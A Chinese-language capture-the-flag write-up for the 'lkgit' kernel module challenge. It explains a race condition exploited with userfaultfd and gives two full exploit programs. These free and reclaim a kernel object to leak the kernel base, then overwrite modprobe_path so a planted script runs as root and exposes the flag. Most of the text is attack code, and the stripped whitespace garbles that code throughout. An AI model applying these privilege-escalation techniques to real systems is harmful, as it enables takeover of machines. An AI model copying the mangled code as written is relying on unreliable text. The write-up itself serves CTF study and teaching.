启动脚本
qemu-system-x86_64 \-kernel ./bzImage \-initrd ./rootfs.cpio \-nographic\-monitor /dev/null \-cpu kvm64,smep,smap \-append"console=ttyS0 kaslr oops=panic panic=1 quiet"\
-no-reboot \-m 256M
题目
lkgit_hash_object
#defineHASH_SIZE0x10typedefstruct{char hash[HASH_SIZE];char*content;// 长度最大0x40char*message;// 长度最大0x20} hash_object;
从用户空间传递一个
hash_object
到内核
- 内核分配一个hash_object对象,将用户态的hash_object拷贝进来
- 内核分配一个content对象,将hash_object->content拷贝进来
- 内核分配一个message对象,将hash_object->message拷贝进来
- 根据content的内容计算出,hash,保存到内核的hash_object->hash
- 并将hash赋值到用户态的hash_object->hash
- 最后将内核态的hash_object保存到全局数组objects中 - 先检查全局数组objects是否已经保存了相同hash的hash_object,有则先将hash_object释放,并置NULL- 然后再全局数组objects中找到一个元素为NULL的,存放进去
staticlonglkgit_hash_object(hash_object *reqptr){long ret =-LKGIT_ERR_UNKNOWN;char*content_buf =kzalloc(FILE_MAXSZ, GFP_KERNEL);// 0x40char*message_buf =kzalloc(MESSAGE_MAXSZ, GFP_KERNEL);// 0x20
hash_object *req =kzalloc(sizeof(hash_object), GFP_KERNEL);// 0x20if(IS_ERR_OR_NULL(content_buf)||IS_ERR_OR_NULL(message_buf)||IS_ERR_OR_NULL(req))goto end;if(copy_from_user(req, reqptr,sizeof(hash_object)))goto end;if(copy_from_user(content_buf, req->content, FILE_MAXSZ)||copy_from_user(message_buf, req->message, MESSAGE_MAXSZ))goto end;
req->content = content_buf;
req->message = message_buf;get_hash(content_buf, req->hash);if(copy_to_user(reqptr->hash, req->hash, HASH_SIZE)){goto end;}
ret =save_object(req);
end:return ret;}staticvoidget_hash(char*content,char*buf){int ix,jx;unsigned unit = FILE_MAXSZ / HASH_SIZE;char c;for(ix =0; ix != HASH_SIZE;++ix){
c =0;for(jx =0; jx != unit;++jx){
c ^= content[ix * unit + jx];}
buf[ix]= c;}}staticlongsave_object(hash_object *obj){int ix;int dup_ix;// first, find conflict of hashif((dup_ix =find_by_hash(obj->hash))!=-1){kfree(objects[dup_ix]);
objects[dup_ix]=NULL;}// assign objectfor(ix =0; ix != HISTORY_MAXSZ;++ix){if(objects[ix]==NULL){
objects[ix]= obj;return0;}}return-LKGIT_ERR_UNKNOWN;}staticintfind_by_hash(char*hash){int ix;for(ix =0; ix != HISTORY_MAXSZ;++ix){if(objects[ix]!=NULL&&memcmp(hash, objects[ix]->hash, HASH_SIZE)==0)return ix;}return-1;}
lkgit_get_object
typedefstruct{char hash[HASH_SIZE];char content[FILE_MAXSZ];char message[MESSAGE_MAXSZ];} log_object;
用户态传递过来的参数
log_object
- 内核获取用户态的log_object->hash
- 在全局数组objects中,查找是否存在hash相同的hash_object元素
- 将找到的hash_object元素的content,拷贝到用户态的log_object->content
- 计算内核找到的hash_object元素content的hash,是否与用户参数中的log_object->hash,一致则 - 内核找到的hash_object元素的content,拷贝给用户态- 内核找到的hash_object元素的hash,拷贝给用户态
staticlonglkgit_get_object(log_object *req){long ret =-LKGIT_ERR_OBJECT_NOTFOUND;char hash_other[HASH_SIZE]={0};char hash[HASH_SIZE];int target_ix;
hash_object *target;if(copy_from_user(hash, req->hash, HASH_SIZE))goto end;if((target_ix =find_by_hash(hash))!=-1){
target = objects[target_ix];if(copy_to_user(req->content, target->content, FILE_MAXSZ))goto end;// validity check of hashget_hash(target->content, hash_other);if(memcmp(hash, hash_other, HASH_SIZE)!=0)goto end;if(copy_to_user(req->message, target->message, MESSAGE_MAXSZ))goto end;if(copy_to_user(req->hash, target->hash, HASH_SIZE))goto end;
ret =0;}
end:return ret;}
lkgit_amend_message
用户态传递过来的参数
log_object
- 内核获取用户态的log_object->hash
- 在全局数组objects中,查找是否存在hash相同的hash_object元素
- 将用户态的log_object->message,拷贝到内核局部变量buf中
- 调用
lkgit_get_object
- 并将用户态log_object->message,拷贝到找到的hash相同的hash_object->message中
staticlonglkgit_amend_message(log_object *reqptr){long ret =-LKGIT_ERR_OBJECT_NOTFOUND;char buf[MESSAGE_MAXSZ];
log_object req ={0};int target_ix;
hash_object *target;if(copy_from_user(&req, reqptr->hash, HASH_SIZE))goto end;if((target_ix =find_by_hash(req.hash))!=-1){
target = objects[target_ix];// save message temporarilyif(copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ))goto end;// return old information of object
ret =lkgit_get_object(reqptr);// amend messagememcpy(target->message, buf, MESSAGE_MAXSZ);}
end:return ret;}
漏洞在哪里
单看,ioctl中的三个方法,好像都没有问题
- lkgit_hash_object
- lkgit_get_object
- lkgit_amend_message
由于内核函数调用中没有加锁,查看是否存在竞争
结合异步并行调用+userfaultfd,再尝试看看没有没有问题
lkgit_hash_object
staticlonglkgit_hash_object(hash_object *reqptr){long ret =-LKGIT_ERR_UNKNOWN;char*content_buf =kzalloc(FILE_MAXSZ, GFP_KERNEL);// 0x40char*message_buf =kzalloc(MESSAGE_MAXSZ, GFP_KERNEL);// 0x20
hash_object *req =kzalloc(sizeof(hash_object), GFP_KERNEL);// 0x20if(IS_ERR_OR_NULL(content_buf)||IS_ERR_OR_NULL(message_buf)||IS_ERR_OR_NULL(req))goto end;if(copy_from_user(req, reqptr,sizeof(hash_object)))// 【1】goto end;if(copy_from_user(content_buf, req->content, FILE_MAXSZ)||copy_from_user(message_buf, req->message, MESSAGE_MAXSZ))// 【2】goto end;
req->content = content_buf;
req->message = message_buf;get_hash(content_buf, req->hash);// 【3】if(copy_to_user(reqptr->hash, req->hash, HASH_SIZE)){// 【4】goto end;}
ret =save_object(req);
end:return ret;}
- 通过userfaultfd,在【1】处暂停 - lkgit_get_object,无法从全局数组
objects
找到可用的hash_other
- 通过userfaultfd,在【2】处暂停 - lkgit_get_object,无法从全局数组
objects
找到可用的hash_other
- 通过userfaultfd,在【4】处暂停 - lkgit_get_object,无法从全局数组
objects
找到可用的hash_other
lkgit_get_object
staticlonglkgit_get_object(log_object *req){long ret =-LKGIT_ERR_OBJECT_NOTFOUND;char hash_other[HASH_SIZE]={0};char hash[HASH_SIZE];int target_ix;
hash_object *target;if(copy_from_user(hash, req->hash, HASH_SIZE))goto end;if((target_ix =find_by_hash(hash))!=-1){
target = objects[target_ix];if(copy_to_user(req->content, target->content, FILE_MAXSZ))// 【1】goto end;// validity check of hashget_hash(target->content, hash_other);if(memcmp(hash, hash_other, HASH_SIZE)!=0)goto end;if(copy_to_user(req->message, target->message, MESSAGE_MAXSZ))// 【2】goto end;if(copy_to_user(req->hash, target->hash, HASH_SIZE))// 【3】goto end;
ret =0;}
end:return ret;}
- 【1】,【2】,【3】在此处停下,通过调用
lkgit_hash_object->save_object->kfree
,释放hash_object,并用其他内核结构替换,获取可以获取一些内核信息
lkgit_amend_message
staticlonglkgit_amend_message(log_object *reqptr){long ret =-LKGIT_ERR_OBJECT_NOTFOUND;char buf[MESSAGE_MAXSZ];
log_object req ={0};int target_ix;
hash_object *target;if(copy_from_user(&req, reqptr->hash, HASH_SIZE))// 【1】goto end;if((target_ix =find_by_hash(req.hash))!=-1){
target = objects[target_ix];// save message temporarilyif(copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ))goto end;// return old information of object
ret =lkgit_get_object(reqptr);// 【1】// amend messagememcpy(target->message, buf, MESSAGE_MAXSZ);// 【2】}
end:return ret;}
与
lkgit_get_object
类似,但是这个的【2】提供了一个往占位结构体写数据的功能,但这里略微复杂一点
// 1、在lkgit_hash_object中,先申请kmalloc-32的message slab-1
message:0x0-0x70x8-0xF0x10-0x170x18-0x1F// 2、在lkgit_hash_object中,再申请kmalloc-32的hash_object slab-2// 2-1、之前存储在objects中的kmalloc-32的 hash_object slab-0会被释放// 3、再次调用lkgit_hash_object,slab-0,会被message占据// 4、这时就可以通过lkgit_hash_object内部的copy_from_user(message_buf),修改 hash_object->message// 5、通过lkgit_amend_message中的【1】找到这个结构体// 6、通过lkgit_amend_message中的【2】修改hash_object->message指向的内容typedefstruct{char hash[HASH_SIZE];char*content;// 长度最大0x40char*message;// 长度最大0x20} hash_object;
利用
- 先创建一个内核
hash_object
,并挂到内核objects
数组下 - 调用lkgit_get_object,触发缺页处理 - 在缺页处理内部调用
lkgit_hash_object
,触发kfree- 使用shm_file_data
进行占位- 读取内核指针,获取内核基地址- 从而得到modprobe_path的地址 - 调用lkgit_amend_message,触发缺页处理 - 修改
hash_object->message
的地址为modprobe_path的地址- 通过memcpy(target->message, buf, MESSAGE_MAXSZ);
重写modprobe_path的内容
exp1 - 这个蛮好看的
#include<fcntl.h>#include<linux/userfaultfd.h>#include<poll.h>#include<pthread.h>#include<stdio.h>#include<stdlib.h>#include<string.h>#include<sys/mman.h>#include<sys/ioctl.h>#include<sys/syscall.h>#include<sys/ipc.h>#include<sys/shm.h>#include<unistd.h>#defineLKGIT_HASH_OBJECT0xdead0001#defineLKGIT_AMEND_MESSAGE0xdead0003#defineLKGIT_GET_OBJECT0xdead0004#defineFILE_MAXSZ0x40#defineMESSAGE_MAXSZ0x20#defineHASH_SIZE0x10typedefstruct{char hash[HASH_SIZE];// 0x10char*content;// 0x8char*message;// 0x8} hash_object;typedefstruct{char hash[HASH_SIZE];char content[FILE_MAXSZ];char message[MESSAGE_MAXSZ];} log_object;typedefstruct{long uffd;unsignedlonglong page_start;void*(*wp_fault_func)(void*);void*(*read_fault_func)(void*,structuffdio_copy*);} userfd_callback_args;int lkgit_fd;pthread_t uffd_thread;char fileContent1[]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";char fileMessage1[]="BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";char hash1[0x10];unsignedlong modprobe_path;voiderrout(char*msg){perror(msg);exit(-1);}void*userfd_thread_func(void*args){structuffd_msg msg;
userfd_callback_args *cb_args =(userfd_callback_args *)args;structpollfd pollfd ={.fd = cb_args->uffd,.events = POLLIN};while(poll(&pollfd,1,-1)>0){if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)errout("polling error");if(!(pollfd.revents & POLLIN))continue;if(read(cb_args->uffd,&msg,sizeof(msg))==0)errout("read uffd event");printf("Userfault event\n");printf("======================================================================\n");if(msg.event & UFFD_EVENT_PAGEFAULT)printf("PAGEFAULT : %p / Flags %p\n",(void*)msg.arg.pagefault.address, msg.arg.pagefault.flags);longlong addr = msg.arg.pagefault.address;longlong page_begin = addr -(addr %0x1000);// Check for write protected write faultif(msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WP){printf("UFFD_PAGEFAULT_FLAG_WP\n");// If defined, call write protect fault handlerif(cb_args->wp_fault_func)
cb_args->wp_fault_func(cb_args);// set page to not write protected to unlock kernelstructuffdio_writeprotect wp;
wp.range.start = cb_args->page_start;
wp.range.len =0x2000;
wp.mode =0;printf("[+] Send !UFFDIO_WRITEPROTECT event to userfaultfd\n");printf("======================================================================\n\n");fflush(stdout);if(ioctl(cb_args->uffd, UFFDIO_WRITEPROTECT,&wp)==-1){errout("ioctl(UFFDIO_WRITEPROTECT)");}continue;}// Page wasn't touched by now, so fill itprintf("UFFDIO_COPY\n");char buf[0x1000];structuffdio_copy cp ={.src =(longlong)buf,.dst =(longlong)addr,.len =(longlong)0x1000,.mode =0};// If defined, call read protect fault handlerif(cb_args->read_fault_func)
cb_args->read_fault_func(cb_args,&cp);if(ioctl(cb_args->uffd, UFFDIO_COPY,&cp)==-1){perror("ioctl(UFFDIO_COPY)");}printf("[+] Sent UFFDIO_COPY event to userfaultfd\n");printf("======================================================================\n\n");fflush(stdout);}returnNULL;}
userfd_callback_args*register_userfaultfd(unsignedlonglong mode,void*(*wp_fault_func)(void*),void*(*read_fault_func)(void*,structuffdio_copy*)){printf("\n");printf("Register userfaultdfd\n");printf("======================================================================\n");// setup userfault fdint uffd =syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);if(uffd ==-1){perror("syscall");exit(-1);}int uffd_flags =fcntl(uffd, F_GETFD,NULL);printf("[+] Userfaultfd registered : FD %d / Flags: %p\n", uffd, uffd_flags);structuffdio_api uffdio_api ={.api = UFFD_API,.features =0};if(ioctl(uffd, UFFDIO_API,&uffdio_api)){perror("UFFDIO_API");exit(-1);}printf("[+] Userfaultfd api : Features %p\n", uffdio_api.features);char* userfault_region =mmap(NULL,0x1000*2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON,-1,0);if(!userfault_region){perror("mmap");exit(-1);}// 页对其if(posix_memalign((void**)userfault_region,0x1000,0x1000*2)){fprintf(stderr,"cannot align by pagesize %d\n",0x1000);exit(1);}printf("[+] Userfaultfd region : %p - %p", userfault_region, userfault_region +0x1000*2);structuffdio_register uffdio_register;
uffdio_register.range.start =(unsignedlonglong)userfault_region;
uffdio_register.range.len =0x1000*2;
uffdio_register.mode = mode;if(ioctl(uffd, UFFDIO_REGISTER,&uffdio_register)==-1){perror("ioctl(UFFDIO_REGISTER)");exit(1);}printf("[+] Userfaultfd region registered: ioctls %p\n", uffdio_register.ioctls);
userfd_callback_args *cb_args =malloc(sizeof(userfd_callback_args));
cb_args->uffd = uffd;
cb_args->wp_fault_func = wp_fault_func;
cb_args->read_fault_func = read_fault_func;
cb_args->page_start =(unsignedlonglong)userfault_region;pthread_create(&uffd_thread,NULL, userfd_thread_func, cb_args);printf("[+] Userfaultfd process thread started: %p\n", uffd_thread);printf("======================================================================\n\n");return cb_args;}voidunregister_userfaultfd(userfd_callback_args* args){printf("\n");printf("Unregister userfaultdfd\n");printf("======================================================================\n");structuffdio_range uf_range ={.start = args->page_start,.len =0x2000};if(ioctl(args->uffd, UFFDIO_UNREGISTER,(unsignedlong)&uf_range)==-1)errout("unregistering page for userfaultfd");if(munmap(args->page_start,0x2000)==-1)errout("munmapping userfaultfd page");close(args->uffd);pthread_cancel(uffd_thread);printf("[+] userfaultfd unregistered\n");printf("======================================================================\n\n");}// take a snapshot of a file.charsnap_file(char*content,char*message,char*out_hash){
hash_object req ={.content = content,.message = message,};if(ioctl(lkgit_fd, LKGIT_HASH_OBJECT,&req)!=0){printf("[ERROR] failed to hash the object.\n");}memcpy(out_hash,&req.hash,0x10);return0;}voidspray_shmem(int count,int size){puts("[+] spray shmem structs");int shmid;char*shmaddr;for(int i =0; i < count; i++){if((shmid =shmget(IPC_PRIVATE, size,0600))==-1){perror("shmget error");exit(-1);}
shmaddr =shmat(shmid,NULL,0);if(shmaddr ==(void*)-1){perror("shmat error");exit(-1);}}}void*break_on_read_leak(void*args,structuffdio_copy*uf_buf){
userfd_callback_args *cb_args = args;puts("Userfault: break_on_read");printf("[+]Delete current object by storing one with the same hash\n");snap_file(fileContent1, fileMessage1,&hash1);printf("[+] Create a shmem struct in the freed object");spray_shmem(1,0x20);}void*break_on_read_overwrite(void*args,structuffdio_copy*uf_buf){
userfd_callback_args *cb_args = args;// Write address of modprobe_path to hash_object->messageunsignedlong* lptr = fileMessage1+0x18;*lptr = modprobe_path;// Reallocate files, so that current object is freed and our message will overwrite current object to control its message pointersnap_file(fileContent1, fileMessage1,&hash1);snap_file(fileContent1, fileMessage1,&hash1);// Put the content into UFFDIO_COPY src argument (which will be copied to message pointer)char mod[]="/home/user/copy.sh";memcpy(uf_buf->src, mod,sizeof(mod));}intmain(){// Prepare modprobe_path exploitationsystem("echo -ne '#!/bin/sh\n/bin/cp /home/user/flag /home/user/flag2\n/bin/chmod 777 /home/user/flag2' > /home/user/copy.sh");system("chmod +x /home/user/copy.sh");system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/dummy");system("chmod +x /home/user/dummy");
lkgit_fd =open("/dev/lkgit", O_RDWR);// 创建一个log_object对象printf("[+] Create initial file in lkgit\n");snap_file(fileContent1, fileMessage1, hash1);// kernel base泄露printf("[+] Register userfaultfd\n");
userfd_callback_args *uffdargs =register_userfaultfd(UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_WP,NULL, break_on_read_leak);printf("[+] Request file, and let it break on copying back message\n");
log_object *req = uffdargs->page_start +0x1000-0x10-0x40;// Allow copy hash/content, but pagefault on messagememcpy(&req->hash, hash1,0x10);ioctl(lkgit_fd, LKGIT_GET_OBJECT, req);// page fault 错误,先执行 break_on_read_leak(1、删除object 2、堆喷占据对象),再读取堆喷数据unsignedlong kernel_leak =*((unsignedlong*)(req->hash +0x8));
modprobe_path = kernel_leak -0x131ce0;printf("[+] Kernel leak : %p\n", kernel_leak);printf("[+] modprobe_path : %p\n", modprobe_path);unregister_userfaultfd(uffdargs);// 任意地址写printf("[+] Register new userfaultfd\n");
uffdargs =register_userfaultfd(UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_WP,NULL, break_on_read_overwrite);// Align the request object, so that lkgit_amend_message will pagefault on reading new messageioctl(lkgit_fd, LKGIT_AMEND_MESSAGE, uffdargs->page_start+0x1000-0x10-0x40);close(lkgit_fd);// Execute modprobe_path exploitationsystem("/home/user/dummy");system("cat /home/user/flag2");}
exp2
/****************
*
* Full exploit of lkgit.
*
****************/#define_GNU_SOURCE#include<string.h>#include<stdio.h>#include<fcntl.h>#include<stdint.h>#include<unistd.h>#include<assert.h>#include<stdlib.h>#include<signal.h>#include<poll.h>#include<pthread.h>#include<err.h>#include<errno.h>#include<netinet/in.h>#include<sched.h>#include<linux/bpf.h>#include<linux/filter.h>#include<linux/userfaultfd.h>#include<sys/syscall.h>#include<sys/ipc.h>#include<sys/msg.h>#include<sys/prctl.h>#include<sys/ioctl.h>#include<sys/mman.h>#include<sys/types.h>#include<sys/xattr.h>#include<sys/socket.h>#include<sys/uio.h>#include<sys/shm.h>#include"../src/include/lkgit.h"// commands#defineDEV_PATH"/dev/lkgit"// the path the device is placed#defineulongunsignedlong#definescustaticconstunsignedlong
#// constants#definePAGE0x1000#defineNO_FAULT_ADDR0xdead0000#defineFAULT_ADDR0xdead1000#defineFAULT_OFFSETPAGE#defineMMAP_SIZE4* PAGE#defineFAULT_SIZEMMAP_SIZE - FAULT_OFFSET// (END constants)// globalsint uffd;structuffdio_api uffdio_api;structuffdio_register uffdio_register;int lkgit_fd;char buf[0x400];unsignedlong len =2* PAGE;void*addr =(void*)NO_FAULT_ADDR;void*target_addr;size_t target_len;int tmpfd[0x300];int seqfd;structsockaddr_in saddr ={0};structmsghdr socketmsg ={0};structiovec iov[1];
ulong single_start;
ulong kernbase;
ulong off_single_start =0x01adc20;
ulong off_modprobepath =0x0c3cb20;// (END globals)// utils#defineWAITgetc(stdin);#defineerrExit(msg)\do\{\perror(msg);\exit(EXIT_FAILURE);\}while(0)
ulong user_cs, user_ss, user_sp, user_rflags;/** module specific utils **/char*hash_to_string(char*hash){char*hash_str =calloc(HASH_SIZE *2+1,1);for(int ix =0; ix != HASH_SIZE;++ix){sprintf(hash_str + ix *2,"%02lx",(unsignedlong)(unsignedchar)hash[ix]);}return hash_str;}char*string_to_hash(char*hash_str){char*hash =calloc(HASH_SIZE,1);char buf[3]={0};for(int ix =0; ix != HASH_SIZE;++ix){memcpy(buf,&hash_str[ix *2],2);
hash[ix]=(char)strtol(buf,NULL,16);}return hash;}voidprint_log(log_object *log){printf("HASH : %s\n",hash_to_string(log->hash));printf("MESSAGE: %s\n", log->message);printf("CONTENT: \n%s\n", log->content);}/** END of module specific utils **/void*conflict_during_fault(char*content){// commit with conflict of hashchar content_buf[FILE_MAXSZ]={0};char msg_buf[MESSAGE_MAXSZ]={0};memcpy(content_buf, content, FILE_MAXSZ);// hash became 00000000000...
hash_object req ={.content = content_buf,.message = content_buf,};printf("[.] committing with conflict...: %s\n", content);assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT,&req)==0);printf("[+] hash: %s\n",hash_to_string(req.hash));}// userfaultfd-utilsstaticvoid*fault_handler_thread(void*arg){puts("[+] entered fault_handler_thread");staticstructuffd_msg msg;// data read from userfaultfd// struct uffdio_copy uffdio_copy;structuffdio_range uffdio_range;structuffdio_copy uffdio_copy;long uffd =(long)arg;// userfaultfd file descriptorstructpollfd pollfd;//int nready;// number of polled events// set poll information
pollfd.fd = uffd;
pollfd.events = POLLIN;// wait for pollputs("[+] polling...");while(poll(&pollfd,1,-1)>0){if(pollfd.revents & POLLERR || pollfd.revents & POLLHUP)errExit("poll");// read an eventif(read(uffd,&msg,sizeof(msg))==0)errExit("read");if(msg.event != UFFD_EVENT_PAGEFAULT)errExit("unexpected pagefault");printf("[!] page fault: %p\n",(void*)msg.arg.pagefault.address);// Now, another thread is halting. Do my business.char content_buf[FILE_MAXSZ]={0};if(target_addr ==(void*)NO_FAULT_ADDR){puts("[+] first: seq_operations");memset(content_buf,'A', FILE_MAXSZ);conflict_during_fault(content_buf);puts("[+] trying to realloc kfreed object...");if((seqfd =open("/proc/self/stat", O_RDONLY))<=0){errExit("open seq_operations");}// trash
uffdio_range.start = msg.arg.pagefault.address &~(PAGE -1);
uffdio_range.len = PAGE;if(ioctl(uffd, UFFDIO_UNREGISTER,&uffdio_range)==-1)errExit("ioctl-UFFDIO_UNREGISTER");}else{printf("[+] target == modprobe_path @ %p\n",(void*)kernbase + off_modprobepath);strcpy(content_buf,"/tmp/evil\x00");conflict_during_fault(content_buf);puts("[+] trying to realloc kfreed object...");long*buf =calloc(sizeof(long),sizeof(hash_object)/sizeof(long));for(int ix =0; ix !=sizeof(hash_object)/sizeof(long);++ix){
buf[ix]= kernbase + off_modprobepath;}char content_buf[FILE_MAXSZ]={0};char hash_buf[HASH_SIZE]={0};strcpy(content_buf,"uouo-fish-life\x00");
hash_object req ={.content = content_buf,.message =(char*)buf,};assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT,&req)==0);printf("[+] hash: %s\n",hash_to_string(req.hash));// write evil messageputs("[+] copying evil message...");char message_buf[PAGE]={0};strcpy(message_buf,"/tmp/evil\x00");
uffdio_copy.src =(unsignedlong)message_buf;
uffdio_copy.dst = msg.arg.pagefault.address;
uffdio_copy.len = PAGE;
uffdio_copy.mode =0;if(ioctl(uffd, UFFDIO_COPY,&uffdio_copy)==-1)errExit("ioctl-UFFDIO_COPY");}break;}puts("[+] exiting fault_handler_thrd");}voidregister_userfaultfd_and_halt(void){puts("[+] registering userfaultfd...");long uffd;// userfaultfd file descriptorpthread_t thr;// ID of thread that handles page fault and continue exploit in another kernel threadstructuffdio_api uffdio_api;structuffdio_register uffdio_register;int s;// create userfaultfd file descriptor
uffd =syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);// there is no wrapper in libcif(uffd ==-1)errExit("userfaultfd");// enable uffd object via ioctl(UFFDIO_API)
uffdio_api.api = UFFD_API;
uffdio_api.features =0;if(ioctl(uffd, UFFDIO_API,&uffdio_api)==-1)errExit("ioctl-UFFDIO_API");// mmap
addr =mmap(target_addr, target_len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED,-1,0);// set MAP_FIXED for memory to be mmaped on exactly specified addr.printf("[+] mmapped @ %p\n", addr);if(addr == MAP_FAILED || addr != target_addr)errExit("mmap");// specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)// first stepif(target_addr ==(void*)NO_FAULT_ADDR){
uffdio_register.range.start =(size_t)(target_addr + PAGE);
uffdio_register.range.len = PAGE;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;}else{// second step
uffdio_register.range.start =(size_t)(target_addr + PAGE);
uffdio_register.range.len = PAGE;
uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;}// uffdio_register.mode = UFFDIO_REGISTER_MODE_WP; // write-protectionif(ioctl(uffd, UFFDIO_REGISTER,&uffdio_register)==-1)errExit("ioctl-UFFDIO_REGISTER");
s =pthread_create(&thr,NULL, fault_handler_thread,(void*)uffd);if(s !=0){
errno = s;errExit("pthread_create");}puts("[+] registered userfaultfd");}// (END userfaultfd-utils)intmain(int argc,char*argv[]){puts("[.] starting exploit...");system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/nirugiri");system("echo -ne '#!/bin/sh\nchmod 777 /home/user/flag && cat /home/user/flag' > /tmp/evil");system("chmod +x /tmp/evil");system("chmod +x /tmp/nirugiri");
lkgit_fd =open(DEV_PATH, O_RDWR);if(lkgit_fd <0){errExit("open");}// register uffd handler
target_addr =(void*)NO_FAULT_ADDR;
target_len =2* PAGE;register_userfaultfd_and_halt();sleep(1);
log_object *log =(log_object *)(target_addr + PAGE -(HASH_SIZE + FILE_MAXSZ));printf("[.] target addr: %p\n", target_addr);printf("[.] log: %p\n", log);// sprayputs("[.] heap spraying...");for(int ix =0; ix !=0x90;++ix){
tmpfd[ix]=open("/proc/self/stat", O_RDONLY);}// commit a file normalychar content_buf[FILE_MAXSZ]={0};char msg_buf[MESSAGE_MAXSZ]={0};char hash_buf[HASH_SIZE]={0};memset(content_buf,'A', FILE_MAXSZ);// hash became 00000000000...strcpy(msg_buf,"This is normal commit.\x00");
hash_object req ={.content = content_buf,.message = msg_buf,};assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT,&req)==0);printf("[+] hash: %s\n",hash_to_string(req.hash));memset(content_buf,0, FILE_MAXSZ);strcpy(content_buf,"/tmp/evil\x00");// hash is 46556c00000000000000000000000000strcpy(msg_buf,"This is second commit.\x00");assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT,&req)==0);printf("[+] hash: %s\n",hash_to_string(req.hash));// try to get a log and invoke race// this fault happens when copy_to_user(to = message), not when copy_to_user(to = content).memset(log->hash,0, HASH_SIZE);assert(ioctl(lkgit_fd, LKGIT_GET_OBJECT, log)==0);print_log(log);// kernbase leak
single_start =*(unsignedlong*)log->hash;
kernbase = single_start - off_single_start;printf("[!] single_start: %lx\n", single_start);printf("[!] kernbase: %lx\n", kernbase);// prepare for race again.
target_len = PAGE *2;
target_addr =(void*)NO_FAULT_ADDR + PAGE *2;register_userfaultfd_and_halt();sleep(1);// amend to race/AAW
log =(log_object *)(target_addr + PAGE -(HASH_SIZE + FILE_MAXSZ));memcpy(log->hash,string_to_hash("46556c00000000000000000000000000"), HASH_SIZE);// hash is 46556c00000000000000000000000000puts("[.] trying to race to achive AAW...");int e =ioctl(lkgit_fd, LKGIT_AMEND_MESSAGE, log);if(e !=0){if(e ==-LKGIT_ERR_OBJECT_NOTFOUND){printf("[ERROR] object not found: %s\n",hash_to_string(log->hash));}else{printf("[ERROR] unknown error in AMEND.\n");}}// nirugiriputs("[!] executing evil script...");system("/tmp/nirugiri");system("cat /home/user/flag");printf("[.] end of exploit.\n");return0;}
参考
https://ctftime.org/writeup/30739
https://kileak.github.io/ctf/2021/tsg-lkgit/
https://blog.smallkirby.com/posts/lkgit/
版权归原作者 goodcat666 所有, 如有侵权,请联系我们删除。